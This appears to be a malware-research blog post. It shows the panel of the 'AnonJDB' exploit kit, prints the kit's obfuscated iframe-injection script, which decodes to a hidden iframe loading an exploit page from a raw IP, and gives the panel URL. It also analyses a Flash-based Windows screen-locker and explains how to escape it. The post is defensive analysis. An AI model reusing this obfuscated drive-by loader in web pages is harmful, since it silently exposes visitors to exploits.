AnonJDB

Advert:

Login:

Overview:

Stats:

Iframe Generator:

Encrypted Iframe:

<script>var UQPC0r2no6qVVr = 'UQPC0r2no6qVVr3cUQPC0r2no6qVVr69UQPC0r2no6qVVr66UQPC0r2no6qVVr72UQPC0r2no6qVVr61UQPC0r2no6qVVr6dUQPC0r2no6qVVr65UQPC0r2no6qVVr20UQPC0r2no6qVVr73UQPC0r2no6qVVr72UQPC0r2no6qVVr63UQPC0r2no6qVVr3dUQPC0r2no6qVVr22UQPC0r2no6qVVr68UQPC0r2no6qVVr74UQPC0r2no6qVVr74UQPC0r2no6qVVr70UQPC0r2no6qVVr3aUQPC0r2no6qVVr2fUQPC0r2no6qVVr2fUQPC0r2no6qVVr31UQPC0r2no6qVVr37UQPC0r2no6qVVr36UQPC0r2no6qVVr2eUQPC0r2no6qVVr33UQPC0r2no6qVVr31UQPC0r2no6qVVr2eUQPC0r2no6qVVr37UQPC0r2no6qVVr32UQPC0r2no6qVVr2eUQPC0r2no6qVVr39UQPC0r2no6qVVr36UQPC0r2no6qVVr2fUQPC0r2no6qVVr6aUQPC0r2no6qVVr64UQPC0r2no6qVVr62UQPC0r2no6qVVr2fUQPC0r2no6qVVr69UQPC0r2no6qVVr6eUQPC0r2no6qVVr66UQPC0r2no6qVVr2eUQPC0r2no6qVVr70UQPC0r2no6qVVr68UQPC0r2no6qVVr70UQPC0r2no6qVVr3fUQPC0r2no6qVVr69UQPC0r2no6qVVr64UQPC0r2no6qVVr3dUQPC0r2no6qVVr31UQPC0r2no6qVVr36UQPC0r2no6qVVr30UQPC0r2no6qVVr37UQPC0r2no6qVVr30UQPC0r2no6qVVr34UQPC0r2no6qVVr63UQPC0r2no6qVVr34UQPC0r2no6qVVr35UQPC0r2no6qVVr30UQPC0r2no6qVVr64UQPC0r2no6qVVr36UQPC0r2no6qVVr62UQPC0r2no6qVVr32UQPC0r2no6qVVr62UQPC0r2no6qVVr34UQPC0r2no6qVVr34UQPC0r2no6qVVr65UQPC0r2no6qVVr33UQPC0r2no6qVVr64UQPC0r2no6qVVr33UQPC0r2no6qVVr64UQPC0r2no6qVVr37UQPC0r2no6qVVr35UQPC0r2no6qVVr35UQPC0r2no6qVVr39UQPC0r2no6qVVr39UQPC0r2no6qVVr66UQPC0r2no6qVVr33UQPC0r2no6qVVr36UQPC0r2no6qVVr38UQPC0r2no6qVVr30UQPC0r2no6qVVr22UQPC0r2no6qVVr20UQPC0r2no6qVVr77UQPC0r2no6qVVr69UQPC0r2no6qVVr64UQPC0r2no6qVVr74UQPC0r2no6qVVr68UQPC0r2no6qVVr3dUQPC0r2no6qVVr22UQPC0r2no6qVVr30UQPC0r2no6qVVr22UQPC0r2no6qVVr20UQPC0r2no6qVVr68UQPC0r2no6qVVr65UQPC0r2no6qVVr69UQPC0r2no6qVVr67UQPC0r2no6qVVr68UQPC0r2no6qVVr74UQPC0r2no6qVVr3dUQPC0r2no6qVVr22UQPC0r2no6qVVr30UQPC0r2no6qVVr22UQPC0r2no6qVVr20UQPC0r2no6qVVr66UQPC0r2no6qVVr72UQPC0r2no6qVVr61UQPC0r2no6qVVr6dUQPC0r2no6qVVr65UQPC0r2no6qVVr62UQPC0r2no6qVVr6fUQPC0r2no6qVVr72UQPC0r2no6qVVr64UQPC0r2no6qVVr65UQPC0r2no6qVVr72UQPC0r2no6qVVr3dUQPC0r2no6qVVr22UQPC0r2no6qVVr30UQPC0r2no6qVVr22UQPC0r2no6qVVr3eUQPC0r2no6qVVr3cUQPC0r2no6qVVr2fUQPC0r2no6qVVr69UQPC0r2no6qVVr66UQPC0r2no6qVVr72UQPC0r2no6qVVr61UQPC0r2no6qVVr6dUQPC0r2no6qVVr65UQPC0r2no6qVVr3e'; vC05HXIZhrBMCB = UQPC0r2no6qVVr.replace(/UQPC0r2no6qVVr/g,'%');document.write(unescape(vC05HXIZhrBMCB));</script>

Settings:

http://anonproducts.in/jdb/panel.php
• dns: 1 » ip: 176.31.72.96 - adresse: ANONPRODUCTS.IN

Weird winlock

This trojan blocker ( MD5: 81105dbe2a2e2f05f1b81fa6c632d2d5 ) load automatically when you start a session.
To remove the Trojan (and unlock windows), infected users need to enter a valid serial number.

But there is no valid serial to enter.
The file 'setup.exe' is powered by "Smart install maker", it drop "saliter.exe" into %SystemRoot%
and modify the value shell on HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogonlaunch
then, it launch a reboot procedure with shutdown.exe.



Saliter.exe is another powered file, this time by "Increditools Flash EXE Builder"
It drop an SWF File into %appdata%/IFViewer/[Random numbers]

saliter.exe is just a flash file viewer with a fullscreen/topmost option.
by pressing Ctrl+Esc you can open your windows start menu with no problem.

Decompiled swf:

When you click on the unlock button it just call the bad boy; no serial check.

The idea of swf ransomware is fun but too easy to defeat  with a flash decompiler.

Number to call: 878172614
Number to call: 79900172614
Number to call: dx870172614
Number to call: 4049172614

1) Alt+F4
2) Win+U
3) Profit

Thanks to mrbelyash for the sample.